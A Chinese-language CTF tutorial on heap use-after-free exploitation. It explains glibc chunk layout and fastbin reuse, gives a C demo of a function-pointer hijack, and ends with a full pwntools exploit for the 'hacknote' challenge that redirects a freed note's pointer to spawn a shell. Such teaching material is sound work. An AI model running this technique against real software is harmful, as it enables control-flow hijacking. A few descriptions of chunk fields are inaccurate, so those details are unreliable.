PWN-堆溢出UAF
一、UAF原理
UAF全称use after,其内容如名称,在free后再进行利用,UAF是堆结构漏洞的重要利用方式。原理如下:
UAF漏洞大部分都出现在使用一个指针P去申请一个指定大小的chunk,而当free指针P以后指针P并没有被置空(指向NULL),那么即使释放了这块内存,但是依旧可以对这块内存进行操作,同时在free一块内存后,接着申请大小相同的一块内存,操作系统会将刚刚free掉的内存再次分配。
其中堆分配回收机制:应用程序调用free()释放内存时,如果内存块小于256kb,dlmalloc并不马上将内存块释放回内存,而是将内存块标记为空闲状态。这么做的原因有两个:一是内存块不一定能马上释放回内核(比如内存块不是位于堆顶端),二是供应用程序下次申请内存使用(这是主要原因)。当dlmalloc中空闲内存量达到一定值时dlmalloc才将空闲内存释放回内核。如果应用程序申请的内存大于256kb,dlmalloc调用mmap()向内核申请一块内存,返回返还给应用程序使用。如果应用程序释放的内存大于256kb,dlmalloc马上调用munmap()释放内存。dlmalloc不会缓存大于256kb的内存块,因为这样的内存块太大了,最好不要长期占用这么大的内存资源。
UAF漏洞
(1)内存块被释放后,其对应的指针被设置为NULL,然后再次被使用,自然程序会崩溃。
(2)内存块被释放后,其对应的指针没有被设置为NULL,然后在它下次被使用之前,没有代码对这块内存进行修改,那么程序很可能可以正常运转。
(3)内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
迷途指针
迷途指针或称为悬空指针,野指针,指的的是不指向任何合法的对象的指针。当所指向的对象被释放或收回,但是对该指针没有作任何的修改,以至于该真正仍旧指向已经回收的内存地址,此情况下该指针便称为迷途指针。若操作系统将这部分已经释放的内存重新分配给另一个进程,而原来的程序重新引用现在的迷途指针,则会产生无法预料的后果。因为此时迷途指针所指向的内存现在包含的已经完全是不同的数据。通常来说,若原来的程序继续往迷途指针所指向的内存地址写入数据,这些和原来程序不相关的数据将被损坏,进而导致不可预料的程序错误。这种类型的程序错误,不容易找到问题的原因,通常会导致存储器区块错误(Linux系统中)和一般保护错误(Windows系统中)。如果操作系统的内存分配器将已经被覆盖的数据区域再分配,就可能会影响系统的稳定性。
二、一个说明UAF原理的例子
一段代码:
#include <stdio.h>
void func1()
{
printf("func1\n");
}
void hack()
{
printf("hack\n");
}
struct Pfunc
{
void (*p)();
};
int main()
{
struct Pfunc* lpfunc = malloc(8);
lpfunc->p = func1;
lpfunc->p();
free(lpfunc);
long* hack_point = malloc(8);
*hack_point = hack;
lpfunc->p();
return 0;
}
编译32位:gcc -g -m32 test.c
程序运行结果如下:
为啥会这样呢?
glibc的ptmalloc在管理释放的内存叫bin,申请的堆块叫chunk其中小chunk内存管理器叫fastbins,使用的是 LIFO的规则,后进先出。所以申请同样大小的小chunk,会使用最后一次free的chunk执行完free过后,fastbins中存放了刚刚free的指针0x804b000。
执行malloc(8)后,看到fastbins中的chunk指针没有了。
看下hack_point的地址,确实是刚刚free的地址,此时两个指针指向同一块内存。
为啥这两个指针=0x0804b008,而fastbins存的0x0804b000
在32位下chunk的结构:
struct chunk
{
size_t 暂时不管;
size_t size;//低3位不算长度
char user_data[0];
}
刚好偏移是8,因为在x86中,SIZE_SZ是4,在x64中SIZE_SZ是8。
补充chunk里面有什么元素:
struct malloc_chunk
{
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
接下来让我们来看看这里面的元素的含义
1、prev_size:如果该chunk的物理相邻的前一个chunk是空闲的,那就用来记录前一个chunk的大小,否则的话用来储存前一个chunk的数据,这也就是prev_size的复用。
2、size:用来记录该chunk的大小,这个大小必须是2*SIZE_SZ的倍数。在x86中,SIZE_SZ是4,在x64中SIZE_SZ是8。这也就说明该字段的低三个比特位一定是0,所以我们可以把它们利用起来,三个比特位从高到低表示AMP。
A:NON_MAIN_ARENA,记录当前的chunk是否不属于主线程,1表示不属于,0表示属于
M:IS_MAPPED记录当前chunk是否是由mmap分配的
P:PREV_INUSE,记录前一个chunk是否被分配,一般来说堆中的第一个被分配的chunk的size字段的P位都会是1,防止对前面的内存非法访问。当一个chunk的size的P位为0的时候,也就意味着前一个chunk空闲,也就是说当前chunk可以和前一个chunk合并
3、fd,bk,chunk处于分配状态的时候,从fd字段开始都是用户的数据,当chunk空闲的时候,会被添加到相对应的bins中,bins的话其实就是一个链表,有的是双向链表,有的是单向链表,既然是链表那就一定要有指针,这个就是指针,fd是指向前一个chunk的指针,bk是指向后一个chunk的指针
4、fd_nextsize,bk_nextsize,fd_nextsize表示前一个chunk的大小,bk_nextsize表示后一个chunk的大小,当然这个也是chunk空闲的时候采用,不过只有较大的chunk才会用到,也就是large chunk(一个bins的名称)。
三、一道UAF的题目
一道题:hacknote.程序提供了记事本功能。
其中add_note函数在notelist中找一个空位置用来写日记,但是删除日记del_note函数中却没有把指针置空。print_note函数可以使用已经free的指针,存在UAF漏洞。
现在的目标就是,把notelist[x]->pFunc= magic,然后使用已经free的notelist[x]。
具体操作如下:
1、因为noteNode的大小为8,如果想准确控制第二个noteNode的pFunc,那么noteNode->note的大小不能是8。创建两个24字节的note后内存长这样:
对照:
(上面的第2行应该为0x804b018)
2、依次free note[0],note[1],试fastbins变成这样:
0x804b030是note[1]的chunk,0x804b000是note[0]的chunk也就是之后malloc(8)的时候,第一次会得到0x804b030,第二次会得到0x804b000。
3、创建note[2],使note的大小=8,此时note的地址是0x804b008,仔细看看这个地址,就是note[0]的pFunc。把magic的地址写入,这时候note[0]->pFunc的值就是magic了。
4、执行print_note(0) 执行0号note的pFunc函数,getshell。
exp:
from pwn import *
context.log_level = 'debug'
sh = process("./hacknote")
# sh = gdb.debug("./hacknote", "b *add_note\nc")
elf = ELF("./hacknote")
def add_note(size, note=b"123"):
sh.sendlineafter(b"Your choice :", b"1")
sh.sendlineafter(b"Note size :", str(size).encode())
sh.sendlineafter(b"Content :", note)
def del_note(index):
sh.sendlineafter(b"Your choice :", b"2")
sh.sendlineafter(b"Index :", str(index).encode())
def print_note(index):
sh.sendlineafter(b"Your choice :", b"3")
sh.sendlineafter(b"Index :", str(index).encode())
add_note(24)
add_note(24)
del_note(0)
del_note(1)
add_note(8, p32(elf.sym["magic"]))
print_note(0)
sh.interactive()
pause()